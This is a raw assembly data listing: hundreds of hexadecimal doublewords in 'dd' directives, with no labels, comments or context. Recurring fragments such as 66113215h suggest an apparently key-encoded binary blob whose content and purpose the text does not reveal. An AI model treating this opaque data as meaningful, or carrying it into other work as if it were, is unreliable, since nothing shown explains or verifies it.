dd 0DE7253EBh, 66113214h, 6D0F43Ch, 664423FCh, 2DF54815h
dd 0BA62569h, 0E1100A1Ch, 0BB50E823h, 0E22DFBF6h, 66113217h
dd 0EDE9C39Eh, 74596F90h, 0D92D5213h, 77F852C5h, 14883215h
dd 8E6EA42Fh, 2BCD352h, 87E5B5E3h, 0CDA09AD8h, 664426FDh
dd 6D5DBA15h, 140F57EAh, 98734701h, 174385F4h, 0A1578ABFh
dd 7706BC7h, 4039A79Eh, 0ED243407h, 0B09D3DD7h, 40755A74h
dd 5A013215h, 0EFB3BB31h, 76CB6DEEh, 5113215h, 0D18A4D5Ch
dd 24FD31FBh, 39ABFA9Dh, 31172C44h, 668834AAh, 0F1AFB315h
dd 67605644h, 0F1D2B3EEh, 39CA5644h, 0F58375h, 508ED094h
dd 679B3D74h, 93883215h, 66468B44h, 97233215h, 66118A45h
dd 0AE893215h, 3F1C2A16h, 0F2E5B375h, 0E641F637h, 5DE936D3h
dd 46C63DCDh, 8F223215h, 66113219h, 45F0EB2Fh, 626951FAh
dd 0EE2D2E05h, 0E01EE82Eh, 9977CC3Ch, 6645BE1Ah, 0E7D73215h
dd 202529D6h, 37731B41h, 207029ACh, 3FE91B41h, 6605DB75h
dd 0FDF43215h, 0BC84DC37h, 0EDA9CE6Bh, 27A4099Dh, 0BAE542ABh
dd 96CE1019h, 62CEB174h, 0DC35269Ch, 66883213h, 9F1EE13Ch
dd 61CB9F73h, 7E113215h, 3BD7D79Ah, 0CD22F4EEh, 662AB31Ah
dd 0EE1E3215h, 66883217h, 245375h, 5496D494h, 6611B11Ah
dd 0EE93215h, 664433E7h, 3506369Ch, 72F8694Dh, 0FC883215h
dd 5ABA8EA9h, 5A4E4364h, 0BDF584Ah, 7567210Fh, 0CD2D7987h
dd 0DE7267EDh, 14ED4A40h, 0B3D21610h, 57F83F71h, 266A000Bh
dd 824B9A30h, 34240740h, 0A3CD67D1h, 3BCC334Dh, 661134FCh
dd 0EAA15h, 9FD16C2Ch, 69060E9Ch, 66113597h, 670D3D15h
dd 93443215h, 6A06469Ch, 66113BFCh, 7F83C315h, 0F2DAA3D1h
dd 0D3ABED16h, 600300E0h, 42BCCDE0h, 6280B14Ah, 662DBF1Ah
dd 8F713215h, 66883210h, 31B0F23h, 0B6A954ABh, 4225CD74h
dd 624CB34Eh, 6443215h, 6620BB1Ah, 0A09A3215h, 743B973h
dd 6643B41Ah, 0EB2D3215h, 66113214h, 42BCCDEDh, 6280B14Ch
dd 662222FCh, 0B583D915h, 209A3F78h, 4D2DE964h, 0F1EEEE38h
dd 75923D41h, 6883215h, 664434FCh, 8B594A15h, 696E5223h
dd 66883294h, 52CF5315h, 81AB6531h, 6615F594h, 0A1093215h
dd 66443211h, 3A060E92h, 97AE3D75h, 74A8D1Ah, 0E7A1BB40h
dd 662236D0h, 62D4B115h, 42FCCD40h, 62CB6F11h, 69426E31h
dd 66113090h, 7D16015h, 999B39FCh, 60CB52EAh, 0B7113215h
dd 7D49FB3Fh, 0A125CBD6h, 7FB07A90h, 66113013h, 6682DB15h
dd 0E7BC3215h, 2F0CD199h, 0FE3A2C49h, 4294B943h, 6640F694h
dd 8FDB3215h, 66113204h, 42451752h, 0CC927092h, 0D00B5672h
dd 0D368761Eh, 683E3D22h, 6643BE1Ah, 0E22D3215h, 66113214h
dd 0E671B2EDh, 6623B11Ah, 37DA3215h, 9634BEACh, 3F43331Fh
dd 8DC5F914h, 6CD21799h, 6600DB75h, 59F73215h, 0FF4BB96h
dd 7523B977h, 8377C8C9h, 696E07A5h, 6644229Dh, 6629DB15h
dd 0C7063215h, 0A1A15530h, 0C65C4F83h, 0DE7253FDh, 99EECDEAh
dd 6D0F13Ch, 0E72274A3h, 72D09CCh, 66119BFCh, 6C083D15h
dd 6443215h, 6622B61Ah, 0BF9A3215h, 34DB5474h, 8CC421A7h
dd 23D0B24Ch, 4E4BE19Dh, 6D354CCh, 66443CFDh, 0F8209615h
dd 0FE503552h, 38B15493h, 69F1CB80h, 66223295h, 0D9776915h
dd 0EE9BEFFh, 66441C1Dh, 91063E9Ch, 8F481609h, 66883212h
dd 9D8B4D39h, 30C46D7Dh, 6611CD7Dh, 97A96C15h, 0A5C5CA4Bh
dd 1C47309Fh, 0DF40F93Ch, 43B732AEh, 0ACBD394h, 0AFA34C9Ch
dd 65887F0Ah, 1906F394h, 0E7053D40h, 0EDED96E4h, 3FDA1B59h
dd 0A9373D75h, 664422FCh, 0BE4BA415h, 0E71723h, 893D13BCh
dd 0EB519730h, 0E3A9536Eh, 60032F48h, 6696B01Ah, 6243215h
dd 6636DA74h, 0F9B73215h, 1240DF98h, 8191F744h, 0BBB56993h
dd 0BA00A661h, 7D0FFE5h, 664FB11Ah, 0E6423215h, 0EF1EA0DBh
dd 66883215h, 0D7D1B974h, 6242033h, 661123FCh, 777D0115h
dd 15355CA6h, 3B9F7844h, 46840D94h, 0DEEE0068h, 0E52549F9h
dd 743F2BA8h, 0E21E3313h, 66883677h, 74AC6575h, 0E6223215h
dd 0BF1B4FFDh, 7B2D2F7Dh, 6BBC9355h, 0ECF94E7Ah, 8F496C13h
dd 66883210h, 41E2C55Eh, 0A51B53DEh, 6225B01Ah, 6B613215h
dd 9B443215h, 946F5809h, 0C0BD0805h, 71567F0Bh, 0E44BE12Ch
dd 99DDC864h, 6205DBECh, 74613215h, 26443215h, 0C495A4A4h
dd 6D602494h, 3E33848Ch, 1C30090Ch, 2EA7F50Ah, 64172B87h
dd 8F883215h, 6644321Eh, 4CAF38FCh, 2D9424E8h, 30E2BFDFh
dd 0C603694h, 3D6EFA27h, 547B8F40h, 8DA17EDDh, 67C83D48h
dd 93223215h, 61F841Ah, 69588D1Ah, 6644319Ch, 0A0A95415h
dd 0E6E8B274h, 66D0B11Ah, 6DAD3215h, 38223215h, 254788C1h
dd 0FA46996Bh, 0DE143889h, 7CD84163h, 6749F114h, 1063B3DEh
dd 65EC866h, 6620B11Ah, 7713215h, 0AC9C8873h, 67FE6074h
dd 67223215h, 9EED68C6h, 6688AEFCh, 74AD5215h, 93223215h
dd 0FD8CA50Eh, 19353E38h, 43E52503h, 0F0E51B72h, 8A905368h
dd 66883211h, 0D460269Ch, 3CF31AEAh, 66AC67E9h, 0E7883215h
dd 0E1088FD0h, 0E7EF1B67h, 0E15D8FF8h, 3B61B567h, 664420FCh
dd 0FBABF415h, 0F2C91578h, 7FB4D400h, 0D00AE042h, 8F51E5C7h
dd 6611321Bh, 6318A87Eh, 0D79289C1h, 0F32455B9h, 0DE4163A4h
dd 3A6D1922h, 3A556210h
dd 1E9B636Eh, 67368CD1h, 0A7A96BDDh, 0A5C5C74Dh, 6FB11040h
dd 208BD994h, 0ADA12DD5h, 20DEF194h, 8DA32DD5h, 6F821040h
dd 3B0DB9E0h, 93422008h, 0D7B7B9E0h, 8F172033h, 6688321Dh
dd 3AB0A6BCh, 0C91918CEh, 7B088F96h, 69893407h, 66469F91h
dd 61A13D15h, 69113215h, 66883396h, 0BE7FCA15h, 6601B01Ah
dd 6AF83215h, 9D883215h, 0EB3EA0E5h, 6479010Fh, 5FE1EFEEh
dd 0B00E3DC6h, 6BBCDEDh, 9CD877ABh, 0A0AE3D62h, 37336174h
dd 91451A47h, 92C1B3CEh, 9135B039h, 0E753C5CEh, 1B9769D6h
dd 3DFC33CEh, 0D44363EDh, 4E6F87CDh, 8ECC68C0h, 61A83D4Ch
dd 69113215h, 66883397h, 69EEC715h, 66222492h, 6600DB15h
dd 2FB33215h, 26A81112h, 0A33598B3h, 99C09E4Eh, 695B94FEh
dd 66443390h, 0DE72CB15h, 66113215h, 0FEC4F638h, 63B43312h
dd 61BA7ED1h, 8F493A9Fh, 6688321Ch, 0D6EB5BE2h, 2F49F40Ah
dd 62FDB342h, 0EF883215h, 0E6F61601h, 678E29Dh, 29CEDD94h
dd 0E0870C36h, 66443217h, 69432BA2h, 66113391h, 0D5DBCA15h
dd 6787B2D1h, 95A2E9E3h, 5EF2B215h, 46A1D995h, 0ED4B69CCh
dd 6622321Eh, 0DCC2B275h, 9ABD994h, 6E255BB6h, 6988CEDDh
dd 66112294h, 0AC025215h, 664435FCh, 9548B015h, 2F0D7843h
dd 0D9875274h, 0E725CBEEh, 9548F9FEh, 34EA1B5Bh, 95E2F9AFh
dd 3C97335Bh, 662222FCh, 0D05D2515h, 3DB98C05h, 66D0776Dh
dd 0A0913B43h, 62A863B2h, 4F883215h, 4248B9DEh, 6626F694h
dd 0E51E3215h, 66883214h, 579C03ECh, 8FFA03D6h, 66113207h
dd 0A4136EA1h, 2190B365h, 20A340B8h, 3C02033h, 623EEE5h
dd 664437FCh, 0F9B6F815h, 6EF934FEh, 22883215h, 0C1BAFB64h
dd 0ED0095h, 0E7C1D894h, 0DFD9534Ch, 66443217h, 6AA9FC14h
dd 62D5B131h, 6680BB1Ah, 0E14B3215h, 66223217h, 0D3985375h
dd 609A00E0h, 664CB71Ah, 0EB2D3215h, 66113217h, 0E34F5375h
dd 60562F0Ch, 66223214h, 661135FCh, 226B7015h, 42822C84h
dd 0FE868875h, 0E51E73F1h, 66883217h, 35255375h, 0A5A36941h
dd 66113211h, 0E18CF196h, 69181609h, 6622239Ah, 661DDB15h
dd 819D3215h, 7EC8E53h, 0C2A3D27Ah, 99E41C3Fh, 0E5D31621h
dd 69AD36D1h, 0AC223215h, 80DE8603h, 44209543h, 854EADB8h
dd 52DDA919h, 0A2906B31h, 66883211h, 664DB81Ah, 423215h
dd 0E6B875AFh, 36E9ADC2h, 6241D29Ch, 0E5223215h, 994136D5h
dd 3E8C1661h, 3A60369Ah, 84AB60E0h, 6615F094h, 0D9DF3215h
dd 66443211h, 0E17DC814h, 694D1601h, 66883A98h, 64C93D15h
dd 6223215h, 0BF13DB74h, 0E587CDEAh, 66443219h, 6624B21Ah
dd 0EC1E3215h, 66883215h, 66443FFCh, 836C4115h, 0C7535AFDh
dd 0DFCA227Fh, 0DB11F7F6h, 66223214h, 8F4CDC3Ch, 66883218h
dd 0F0F57298h, 70A390A2h, 0D0883964h, 8F3D63AEh, 0EEAEBA47h
dd 67B68C5h, 8F40E39Eh, 66883206h, 704EF9Eh, 0C7647002h
dd 0E742DF93h, 64045840h, 3F0AA563h, 6429874h, 66113AFCh
dd 0E5371315h, 0F24E541Ch, 0E8D2B24Ah, 0B5A85474h, 30DA53FDh
dd 3C94BB4Fh, 66223DFCh, 0AABBBF15h, 0AF6CFF70h, 87853DDEh
dd 0D0671085h, 26537310h, 34701B32h, 9C4F86AFh, 0F8D0B36Fh
dd 0E72C4F76h, 0C29966DFh, 59B6B36Ch, 4F7AD52Eh, 0E11E68C5h
dd 66883212h, 6645BF1Ah, 34DA3215h, 661136AFh, 47AA1F15h
dd 0B66D7C68h, 1B031010h, 0CDED685Bh, 72013D75h, 8E443215h
dd 6622321Bh, 0DB0E1F41h, 7F225A95h, 77D2A110h, 77D757Bh
dd 0EF15DE96h, 84011601h, 6640F094h, 0A4A13215h, 4205B511h
dd 5277CE49h, 0A2C56931h, 66223211h, 6610BA1Ah, 0ED743215h
dd 0EF171619h, 62E1B3F6h, 0E7113215h, 668836D6h, 4258B515h
dd 662ADB49h, 17283215h, 0D6FBA8B1h, 6BADA186h, 86223215h
dd 80F9B145h, 9F0F93BCh, 0CB3E8042h, 380606EAh, 6615F694h
dd 0E0873215h, 66443200h, 0B5CDB275h, 661139FCh, 0DCF5EA15h
dd 25BEC50h, 92776174h, 84986074h, 668C8A45h, 0A4453215h
dd 62E0B14Dh, 3A352692h, 0BC22DBE9h, 69BDCDEAh, 66223D9Dh
dd 661BDB15h, 73133215h, 1735AB6h, 9BA2AA7Eh, 0F459B7D2h
dd 668D340Ch, 6BAD3215h, 0CB223215h, 0BCC6B198h, 0AABB56Eh
dd 4D01FB63h, 420EB343h, 1143294Eh, 0E5AC2E9Eh, 0A5C536D1h
dd 1170294Eh, 661138FCh, 57169615h, 51221E2Eh, 372E0F30h
dd 661136ACh, 0ED433315h, 0A2C51619h, 66223211h, 0DB4460ECh
dd 66883215h, 6719D89Ch, 3C3831E7h, 41953DEDh, 6883215h
dd 664438FCh, 2A917D15h, 59C5CBE7h, 8F1B9ADBh, 66443204h
dd 7C7B9C87h, 552877F2h, 0EA309935h, 4DD3FBFDh, 0E3A95396h
dd 60032F48h, 66883AFCh, 3501B315h, 461740ACh, 0D784B948h
dd 8F8E2033h, 66443206h, 28FE15F4h, 1AB4804Dh, 0F48D6C3Ch
dd 883A0E68h, 31C62911h, 99EECDAAh, 397633EAh, 6645B71Ah
dd 0E5D73215h, 7421C3A8h, 0E2873313h, 664434C8h, 69FA09EDh
dd 66110D97h, 71063D15h, 8F443215h, 66223207h, 0A51B4D94h
dd 4AC4A756h, 7026D034h, 9A3E1DC9h, 0BC2AA034h, 6700B41Ah
dd 0E7243215h, 62E008DFh, 6619DA5Ah, 0ACE23215h, 6B6744A3h
dd 0DF44056Dh, 749B448h, 547D879Ch, 6EAD3407h, 0BF223215h
dd 2CBD2C22h, 0ED22CD9Fh, 7FD67A88h, 22A3C713h, 6CD3E31h
dd 3A892773h, 0D9133E31h, 734452C9h, 76354E3Ch, 6687DB4Ah
dd 0DDA53215h, 9BD21E38h, 98E51C01h, 0FC5CCC31h, 600FDBD6h
dd 6DA3215h, 0C1B973h, 71EDAAEh, 36600E9Eh, 6227D29Ch
dd 63113215h, 66883211h, 3A603692h, 6635B71Ah, 0EC1E3215h
dd 66883204h, 66443EFCh, 0DDE45D15h, 5163615Dh, 92EDAF04h
dd 72C23D1Ah, 69223215h, 66113C98h, 6681DB15h, 4F4A3215h
dd 0BF1E141Dh, 0A105550Fh, 74B8C390h, 66443313h, 0D12D5215h
dd 6602DADBh, 0B3123215h, 62BD3D3h, 0E2E2CAEBh, 0F1245122h
dd 0CD77A312h, 0ED2568ACh, 0EF751609h, 62D6B3F2h, 0E7883215h
dd 664436D2h, 421EB515h, 6A903D49h, 69883215h, 66443496h
dd 66A23D15h, 99113215h, 0E5D11621h, 60AD36D1h, 52223215h
dd 5605BD54h, 42BCCDCDh, 6280B14Bh, 662BB31Ah, 0EC713215h
dd 0A70954E0h, 8F25C5B6h, 6622321Ah, 161C3970h, 0F7547297h
dd 0E66142F3h, 0E208ED5h, 66113843h, 0EFAC1E9Ch, 6281B3F0h
dd 0E5223215h, 4A9636D0h, 68616E31h, 3443215h, 0A707214Dh
dd 5B12B4Ah, 0BC57FC39h, 0B29EDBE6h, 8FD7CDEAh, 6611321Bh
dd 9715F75Ch, 0C24F6427h, 1C4174F1h, 0DB920F01h, 609A2F0Ch
dd 7CC03D14h, 69223210h, 66113397h, 0FBA3CB15h, 60562F48h
dd 662222FCh, 0D1C36415h, 0FC746D2Bh, 7A2F394Eh, 0D993698Dh
dd 5B9CB906h, 8F8E2038h, 66443210h, 97CA965Ah, 5AAE6582h
dd 4FDCFB4Eh, 0BF456DECh, 3D1EF394h, 0E7E466DCh, 0F8B605FCh
dd 35BD1B76h, 5A7730AEh, 0E7C2C524h, 38A632F6h, 1187B37Bh
dd 0E72FA954h, 0A6C3F2D6h, 3D513312h, 63F967ECh, 0E7223215h
dd 17B01D4h, 0E7611B2Ah, 12E01FCh, 6ECB6F2Ah, 0A5113215h
dd 0B852924Fh, 9FBBEE93h, 0A0966246h, 8121DCA2h, 6467F24Dh
dd 0EEA7C595h, 0EA2D69EDh, 66113219h, 668EB71Ah, 0E74B3215h
dd 66223215h, 76F898E9h, 0C0883215h, 0E5FB13C6h, 0F228541Ch
dd 237A404Ah, 0E72ADE70h, 664436F9h, 4226BB15h, 8F486A44h
dd 6688321Dh, 2979142Eh
dd 8C86730Eh, 6617DBBEh, 0DB473215h, 81576065h, 6670C47Dh
dd 423DBB15h, 0A309D79Ch, 66443211h, 0E126F796h, 8F4D1639h
dd 66883204h, 0C8F83EC3h, 5E9DE2F6h, 0E4F2B2EBh, 9B229614h
dd 73CE3D83h, 8F223215h, 66113205h, 0FE711C06h, 2288E99Bh
dd 9FD8A3FDh, 0E2504999h, 33AC2E9Eh, 0A3C5D79Ch, 66223211h
dd 0E115F796h, 6D41639h, 27DD91AEh, 60AC3D60h, 69113215h
dd 66883296h, 52BB5315h, 0A2A16B31h, 6A9D3D11h, 6883215h
dd 33D71AADh, 0B0A3540Dh, 0ED701BD5h, 0EFDE1621h, 6282B3F3h
dd 0E7223215h, 661136D3h, 42BCB515h, 0ACCF5249h, 6627B91Ah
dd 0B9AF3215h, 7CBD68Bh, 0CB748A75h, 7DB2938h, 661EF47Dh
dd 42B4BB15h, 0A1C5D59Ch, 66223211h, 0E115F596h, 69D41629h
dd 66442392h, 662EDB15h, 66E3215h, 1BA47A3Bh, 90CABFB3h
dd 47CBCDACh, 69EECDC3h, 66883896h, 6641DB15h, 986A3215h
dd 0A17C0405h, 7F1A7A90h, 66443013h, 662FDB15h, 191C3215h
dd 9F9DFB33h, 0E2985720h, 0E736E306h, 661136F9h, 4284BB15h
dd 0ADCDC39Ch, 6624DB4Ch, 1BAD3215h, 0BACE35A3h, 694A841Ah
dd 66223A9Dh, 0A0905215h, 795EE937h, 0E6BDB274h, 66B5B11Ah
dd 8F713215h, 66883205h, 6D9BB777h, 513EEA8Ah, 0B790851Eh
dd 160786Fh, 664439FDh, 3239A615h, 4F9E3E82h, 5AA2106Ah
dd 3DFEF795h, 7BE1B374h, 675AB246h, 0AF3062DEh, 43301957h
dd 1646DBBh, 2F065F18h, 6578175Ch, 5B412A0Ch, 4F61455Ah
dd 0E61E6AD6h, 6688320Dh, 664421FCh, 68C0E715h, 0F750EC3Ah
dd 26CA7384h, 15B3BC89h, 65D8910Ah, 99EE8B44h, 0ADA1CDEAh
dd 6DC73D4Ch, 6223215h, 0C883EB94h, 0EDEE0CC2h, 0D7AD53DFh
dd 6223215h, 6A8375h, 7533DAFh, 62A8B374h, 0EF223215h
dd 99A51611h, 69D0D33Dh, 66443C98h, 63CB5215h, 6E113215h
dd 3561F352h, 36256DA6h, 137D5A42h, 0E74E4C45h, 0F8F0DBD2h
dd 0B9ABB35Dh, 0E72BCA27h, 90AA5BFAh, 3970BBA9h, 0A7CDFA3Ch
dd 49A524Dh, 0E63D9CECh, 33E97FDAh, 761098A8h, 3EE7B321h
dd 2B419771h, 0E06DB358h, 0E706AC78h, 0F20A33F8h, 0EDF81315h
dd 0A2091639h, 66443211h, 662221FCh, 0FB7C15h, 7C5B2380h
dd 0D783282Ch, 0B9832366h, 0B0DA38E2h, 5FF3D994h, 0AD6D0838h
dd 5F598A45h, 0A5100838h, 668EDB4Dh, 0B3233215h, 81927594h
dd 7B4CB79Eh, 0ED743407h, 74628380h, 6AAE3D13h, 69113215h
dd 66883497h, 66C63D15h, 8F223215h, 99EEC89Eh, 2E0DF5E0h
dd 64422B87h, 69223215h, 6611339Bh, 34DECE15h, 434525AFh
dd 4276332Ah, 0E74A6811h, 438925FEh, 6650DB2Ah, 0FCD53215h
dd 0E799F391h, 102C7FA9h, 735FB124h, 8C898836h, 69E45144h
dd 0E6703CA3h, 0E54BB2ECh, 66223253h, 0A590CEE0h, 2C95724Ch
dd 48E1F194h, 0AD23322Fh, 48B4D994h, 8D09322Fh, 2C59724Ch
dd 0B99D65E9h, 0E75BD235h, 795712E2h, 39BF1BA0h, 662234FCh
dd 0F42D4315h, 8F18183Bh, 6644328Dh, 139A5475h, 9B9B6093h
dd 0D5DB534Ch, 0DD87B2B2h, 3444E9E3h, 952153A3h, 0BFA06873h
dd 6656DB4Eh, 0A9463215h, 0FAAF8783h, 54A212B9h, 81E708B4h
dd 60F06D21h, 91F8B55Ch, 9361B5C0h, 7A38375h, 1E348F40h
dd 0DD420C5Bh, 68B81B6Eh, 0E71FEF3Ch, 1C3192E0h, 8B907F7Ah
dd 39EC6E2Eh, 619DB34h, 0F1B973h, 0EA9EB94h, 0A509CA74h
dd 2E204057h, 7A4FD994h, 0AD3879F3h, 7AE5F194h, 8DC579F3h
dd 2E464057h, 66113DFCh, 0A97C9715h, 18CD2B33h, 203D0284h
dd 9F3843B1h, 7BD5B79Eh, 0EDB13407h, 74048380h, 0DB92CA13h
dd 609A2F0Ch, 6DC03D14h, 69DDCDE2h, 66112591h, 669ADB15h
dd 6D613215h, 0B0FA3B58h, 262DED75h, 355B2AC3h, 49B9BF3Ah
dd 0E42DEA2Eh, 66113205h, 0F7B78975h, 5F251FB5h, 48A43DC6h
dd 9EEECDF8h, 66898F40h, 886D3215h, 60A73D48h, 6113215h
dd 942E8873h, 4AC56474h, 555F8931h, 421DB908h, 0E78CF696h
dd 553989D4h, 67AE3D08h, 9F113215h, 6B778847h, 0B7455CD6h
dd 0E7DB1B4Fh, 0A51CCDFCh, 6685DB7Bh, 8B663215h, 43180962h
dd 0A1440E57h, 36BCD167h, 664437ADh, 99E3B315h, 4F63926Bh
dd 9961B3D4h, 3E36926Bh, 6623BC1Ah, 34E43215h, 9600DBA3h
dd 0E560269Eh, 8F4236D1h, 6611321Fh, 0C36DAF84h, 0FAC075C0h
dd 94A25547h, 0CCE85380h, 668838FCh, 7CB75C15h, 6E4CAACCh
dd 5756A560h, 574903DDh, 8FEFC7DDh, 66223204h, 0F798D04Bh
dd 0F645EB3Ch, 64A8F78Bh, 9DBA8E03h, 0B43FDBE6h, 8FE8CDEAh
dd 66443210h, 598F70A9h, 25AE54F4h, 90E05318h, 0EF443263h
dd 66981601h, 67113215h, 3C8AB8E7h, 664422FCh, 0F8494F15h
dd 0F821185Bh, 5A38570h, 6036629Ch, 69CA0EDFh, 66111E91h
dd 600D3D15h, 6443215h, 0A4A954EDh, 66AC6774h, 0EF883215h
dd 4268B9FDh, 6926F696h, 6611349Dh, 0EDEE5215h, 8F25CBC2h
dd 662233AFh, 62FDB1E0h, 8FAC2E9Ch, 66443206h, 4C2A3FA6h
dd 80CF08FFh, 0E7C33862h, 0CFC43608h, 333A749Eh, 8D98C79Ch
dd 0E5AC1E9Eh, 692436D1h, 6E95EBA2h, 62FDB174h, 0DFAC3E9Ch
dd 66443214h, 7F21C314h, 709B3D4Ch, 8F883215h, 66443204h
dd 0BCA34CECh, 421AE410h, 3C8446A0h, 7A3F4E6h, 0DC70CEF9h
dd 66113210h, 7B63F194h, 0B545144Dh, 7BC9D994h, 694B144Dh
dd 6688239Eh, 6648DB15h, 91E63215h, 94DC61CCh, 0B625DF85h
dd 0D315310Ch, 36EFCC15h, 0AAEF37A1h, 98E1F695h, 0E8A8B2D1h
dd 0E68CD695h, 8321BBF9h, 3F60BA4Dh, 664437FCh, 6AD0A315h
dd 6BB598Dh, 660F3D43h, 38443215h, 0E74319A0h, 387700D6h
dd 0BA63B30Dh, 4F654C7Eh, 0BAE1B3EEh, 0E7304C7Eh, 38EE00FEh
dd 0FDFC520Dh, 8E3990F5h, 6611321Eh, 6FE6C990h, 298587AEh
dd 8FD0ABEAh, 66113219h, 0EDDB5D3Fh, 6EE87645h, 4C293EE6h
dd 8A90534Ch, 66883211h, 0D860069Ch, 66223211h, 694FC13Ch
dd 66883592h, 67C33D15h, 93223215h, 629A6145h, 624CB131h
dd 0AEC5524Eh, 646439D7h, 661139FCh, 8ADAF915h, 718E67F4h
dd 8B95A5F0h, 9F719974h, 7738D1Ah, 35602E9Eh, 0A5A3D19Ch
dd 66113211h, 0E18CF196h, 69181609h, 66223495h, 0D9775215h
dd 35E9A063h, 664437AEh, 0EDFC3315h, 0A2901609h, 66883211h
dd 750C8B75h, 34435E34h, 2F3726AFh, 9152C524h, 3396C5C7h
dd 367699A8h, 3BFB3365h, 0B7E2F094h, 0B6CDF2EDh, 0DC44524Fh
dd 0D91E2A73h, 696153C4h, 45443215h, 8F86274h, 0BA38A82Fh
dd 871A33BDh, 69872816h, 66223A97h, 64943D15h, 6883215h
dd 0D385A74h, 6AAB3215h, 74F85231h, 0D883215h, 19AB9DFBh
dd 0B812D8BDh, 0FB13AF09h, 0C45E38CDh, 69AD53FFh, 0F9223215h
dd 3FF52FB4h, 338A9715h, 6F0852F8h, 0DF73268Ch, 66113215h
dd 0EDEEC314h, 4248B914h, 6626F694h, 5AED3215h, 350C3DD6h
dd 69443214h, 66223A93h, 64993D15h, 6883215h, 698F0E74h
dd 66230F91h, 8F71CA15h, 66883204h, 0AC3A32B9h, 7C650957h
dd 47E57590h, 1FF06D0Fh, 0A47853D4h, 671DB61Ah, 8E713215h
dd 66883219h, 0C06220B8h, 0FA2E84B5h, 7E64C98Fh, 0DE6C8973h
dd 0EF4B524Dh, 66223215h, 0AC2D5374h, 679FB61Ah, 0EB4B3215h
dd 66223211h, 7705275h, 43770F73h, 677EB61Ah, 0EB2D3215h
dd 66113214h, 48B554E0h, 15C13DEAh, 93223215h, 66138946h
dd 95893215h, 66448B44h
dd 0BF233215h, 3D48339Fh, 8F7D5275h, 66443219h, 0B98CB2C6h
dd 4E697A6Fh, 4899E4CEh, 0BDF33D74h, 75CB5274h, 0C1113215h
dd 710FAD35h, 0A833680Dh, 0BA3E3DE5h, 8DF28538h, 88024A4Fh
dd 0D0166374h, 4E328797h, 939168E0h, 3F60126Bh, 664434FCh
dd 0A3476615h, 5A33D074h, 670C3DB5h, 9A443214h, 0A5A95475h
dd 52EE53ECh, 0A20B6B31h, 6656DB11h, 76DE3215h, 462DE51h
dd 7E0DD7A8h, 7AFA070Dh, 0BD4E6468h, 6BDD8B44h, 8F095FEAh
dd 3801466Ah, 50E3B35Ch, 0E74E75F0h, 96DCA4DCh, 2F9DC569h
dd 0A7A3EBE2h, 28445FAEh, 8ADAC394h, 0AECDFC53h, 11CBCE4Ch
dd 8F113214h, 66883213h, 0C5CC1156h, 0AF13EF78h, 0B99A5475h
dd 34E942A0h, 99BBCDAFh, 3CF31BEAh, 66C2DBEDh, 60613215h
dd 67443215h, 668FAF5Ch, 65AC67BCh, 33883215h, 69B16F4Ch
dd 66222B9Ch, 6605DB15h, 29003215h, 0F40331A9h, 1C954CA2h
dd 0E7D129E5h, 71781491h, 0FCAD3FDEh, 6223215h, 0DDDFB3EDh
dd 7B4BD27h, 22478946h, 0ADA37441h, 8154A96h, 9C3F994h
dd 0BDB3786Dh, 3B7DF994h, 0B5E65C60h, 6EC08B44h, 0AFC517CAh
dd 65832A94h, 5D52DB94h, 0AD891A12h, 3D9DBB4Ch, 662C8975h
dd 9A46468Eh, 2861534Dh, 9A443215h, 22CC8C43h, 88902E7Bh
dd 384A71A2h, 41FAF494h, 88A365FBh, 738B1AFBh, 5203C39Ch
dd 6280B331h, 69223215h, 6611169Ah, 6E605215h, 48443215h
dd 0C265879Ch, 38B59EF5h, 66883DFCh, 1BAB2F15h, 6C9681A2h
dd 8867F97Fh, 6F38DBD9h, 69E0C174h, 66223396h, 0EB9ACE15h
dd 609A14A4h, 89AB275h, 66223FFCh, 58C60515h, 983B136Ah
dd 31CD827Ch, 0E34366D7h, 6B943DDCh, 6883215h, 0BD258D73h
dd 0D797BB74h, 9F172033h, 37AC3E9Eh, 0A7C5D39Ch, 66223211h
dd 0E115F396h, 6D41619h, 664426FCh, 811AFC15h, 0E876D6A6h
dd 463A271Dh, 0F85E94A5h, 61C9DC3Ah, 33795370h, 0EF883206h
dd 9A2C1609h, 3D4F062Ch, 0A014F194h, 0BE01A0DEh, 687CE4Eh
dd 669B6374h, 67113215h, 577754E4h, 4270B373h, 3E444860h
dd 1C640773h, 0E7EE524Ch, 69CB68DAh, 5A43ECA2h, 0CF953DD6h
dd 9E883214h, 3685BA44h, 0A5AAFA9Dh, 37E96B4Dh, 0ADA8C2A4h
dd 0E7603E9Eh, 662236D1h, 661BDB15h, 2FB73215h, 0CBDBB4A6h
dd 0B35FA7AFh, 6961C995h, 668CB791h, 6655DB15h, 0E4B93215h
dd 0FA85439Ch, 0D2938697h, 1F276927h, 5A94E75Fh, 3F953DFCh
dd 6883214h, 0A1ACB373h, 49B54CCh, 8D2D536Ah, 67CEB61Ah
dd 0E54B3215h, 6622320Fh, 661CDB75h, 57CA3215h, 76A13422h
dd 272267E2h, 6986F436h, 66883297h, 0A4785315h, 673CB61Ah
dd 61F83215h, 49883215h, 0B5D7C2F7h, 5ADB95A9h, 6F953DDEh
dd 69883214h, 66442196h, 6BAB3D15h, 8F113215h, 6688321Dh
dd 83C04CA7h, 9BF57EF3h, 43EE0F73h, 666EB61Ah, 75AD3215h
dd 88223215h, 0AE7E2BB1h, 1575BBF3h, 0FA1AFC08h, 0FEBBB759h
dd 77F8423Bh, 84883215h, 0DCC928AAh, 12DF360h, 13E0A426h
dd 62C9C9C3h, 0E24BF829h, 662232A5h, 6610BF1Ah, 5A713215h
dd 0C9C03DF6h, 8F223216h, 6611321Dh, 9DF22A22h, 0CF6A3100h
dd 66223AFCh, 0ED5B9D15h, 2E09AEBCh, 487954BCh, 33A73DEAh
dd 8F113215h, 66883204h, 8900D3F8h, 0B3F485EFh, 235356BFh
dd 668CAF03h, 0DF156173h, 16252C95h, 9EF0B0AEh, 3F43339Ah
dd 65CEC114h, 662ADB4Eh, 0F4C33215h, 0CD876701h, 8AC7113Ch
dd 4236BB11h, 0B631C2A7h, 0D987524Fh, 4C2488E3h, 5A4355F0h
dd 4F953DB5h, 9F883215h, 55FF6140h, 2571D74Bh, 0A752E1E2h
dd 8D0936F6h, 0A7EE2ED5h, 0EF79EF9Ch, 8FE46FFDh, 66883269h
dd 8FB975h, 77826AFh, 40A0879Ch, 0EB713407h, 7ED8AD88h
dd 662BDB13h, 4B293215h, 3A57726Eh, 99729441h, 72CA52C6h
dd 2A113215h, 0A0E04E3Bh, 244F364Bh, 84BC85A7h, 8A490A5Ch
dd 0E71D9332h, 778383FFh, 0D92D6D5Ah, 0D94653DEh, 5A9118F7h
dd 219BC55Ah, 3027DDD4h, 5233E9ABh, 0E566B36Ah, 67C1614Ch
